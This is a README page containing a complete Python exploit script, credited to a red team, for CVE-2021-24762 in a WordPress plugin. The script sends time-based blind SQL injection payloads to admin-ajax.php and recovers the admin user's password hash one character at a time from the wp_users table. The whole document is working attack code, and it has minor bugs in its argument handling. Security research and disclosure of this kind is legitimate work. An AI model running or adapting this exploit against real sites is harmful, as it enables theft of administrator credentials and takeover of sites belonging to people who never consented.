README.md
Rendering markdown...
# ----------------------------------------------------------------------------
# GNU GENERAL PUBLIC LICENSE
# Version 3, 29 June 2007
#
# Copyright (C) 2025 Matheus Camargo - c4cnm - Red Team CAIS/RNP
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
# ----------------------------------------------------------------------------
from typing import Optional, Dict, Any
import argparse
import sys
import logging
from urllib.parse import urlparse
import string
import requests
import time
BANNER = r"""
____ _ ___ ____
/ ___| / \ |_ _| / ___|
| | / _ \ | | \___ \
| |___ / ___ \ | | __ ) |
\____|/_/ \_\ |___| |____/
CAIS - Inteligência em Cibersegurança
Exploit for: CVE-2021-24762
"""
DEFAULT_URL = "http://192.168.10.10"
DEFAULT_PATH = "/wp-admin/admin-ajax.php"
DEFAULT_DELAY = 30
DEFAULT_CHARSET = string.ascii_letters + string.digits + "./$_-@"
DEFAULT_MAX_LEN = 20
def print_banner():
try:
print(BANNER)
except Exception:
print("CAIS - Inteligencia em Ciberseguranca\n\r Exploit for: CVE-2021-24762")
def parse_args(argv: Optional[list] = None) -> argparse.Namespace:
p = argparse.ArgumentParser(
description="Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it"
)
p.add_argument("-u", "--url", help=f"Base URL (default: {DEFAULT_URL})")
p.add_argument("-p", "--path", help=f"path (default: {DEFAULT_PATH})")
p.add_argument("-d", "--delay", type=int, help=f"delay in seconds (default: {DEFAULT_DELAY})")
p.add_argument("-t", "--timeout", type=int, help="timeout in seconds (default: delay + 15)")
p.add_argument("-c", "--charset", help="charset to be used (default: alnum + ./$_-@)")
p.add_argument("-m", "--max-len", type=int, help=f"maximum length (default: {DEFAULT_MAX_LEN})")
p.add_argument("-v", "--verbose", action="store_true", help="activates log debugging")
return p.parse_args(argv)
def _validate_and_normalize_url(url: str) -> str:
"""Basic validation: requires (http/https) and host. Removes slash at end."""
parsed = urlparse(url)
if not parsed.scheme or not parsed.netloc:
raise ValueError(f"Invalid URL: {url!r} (requires (http/https) and host, example: http://example.com)")
return url.rstrip("/")
def _normalize_path(path: str) -> str:
"""Removes slash at beggining."""
return path.lstrip("/")
def build_params(args: argparse.Namespace) -> Dict[str, Any]:
"""
Returns a dict with treated/validated parameters.
Defaults:
- url: http://192.168.10.10
- path: /wp-admin/admin-ajax.php
- delay: 30
- timeout: delay + 15
- charset: ascii_letters + digits + "./$_-@"
- max_len: 20 (opcional)
Throws ValueError if there is an invalid URL or issues in the parameters.
"""
# Applying defaults
url = args.url or DEFAULT_URL
path = args.path or DEFAULT_PATH
delay = DEFAULT_DELAY if args.delay is None else int(delay)
charset = args.charset or DEFAULT_CHARSET
max_len = DEFAULT_MAX_LEN if args.max_len is None else int(max_len)
# Normalizing / validation
url = _validate_and_normalize_url(url)
path = _normalize_path(path)
# Timeout default
timeout = args.timeout if args.timeout is not None else delay + 15
timeout = int(timeout)
if delay < 0 or timeout < 0:
raise ValueError("delay and timeout should not be less than 1")
try:
if timeout < delay:
# allowed, but not recommended
raise ValueError("timeout should be greater or greather than delay")
except ValueError as e:
print(f"Erro: {e}")
full_target = f"{url}/{path}"
return {
"url": url,
"path": path,
"full_target": full_target,
"delay": delay,
"timeout": timeout,
"charset": charset,
"max_len": max_len,
}
def exploit(url: str, delay: int, timeout: int, charset: str):
timeout = delay + 15
result = ""
for position in range(1, 21):
found = False
print(f"\n[?] Testing position {position}")
for char in charset:
ascii_code = ord(char)
# Following select matches the admin (0x61646d696e) password hash
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"
params = {
"action": "get_question",
"question_id": payload
}
start = time.time()
try:
response = requests.get(url, params=params, timeout=timeout)
elapsed = time.time() - start
except requests.exceptions.ReadTimeout:
elapsed = timeout
print(f" [-] Trying '{char}' (ord={ascii_code}) => {elapsed:.2f}s")
if elapsed >= delay - 0.5:
result += char
print(f"[+] Found so far: {result}")
found = True
break
if not found:
print("[!] No match found at this position. Stopping.")
break
def setup_logging(verbose: bool):
level = logging.DEBUG if verbose else logging.INFO
logging.basicConfig(stream=sys.stdout, level=level, format="%(asctime)s [%(levelname)s] %(message)s")
def main(argv: Optional[list] = None):
print_banner()
args = parse_args(argv)
setup_logging(args.verbose)
try:
params = build_params(args)
except Exception as e:
logging.error("Failed to build parameters: %s", e)
sys.exit(2)
logging.debug("params: %s", params)
print("Parâmetros padronizados:")
for k, v in params.items():
print(f" {k}: {v}")
exploit(params["full_target"],params["delay"],params["timeout"],params["charset"])
if __name__ == "__main__":
main()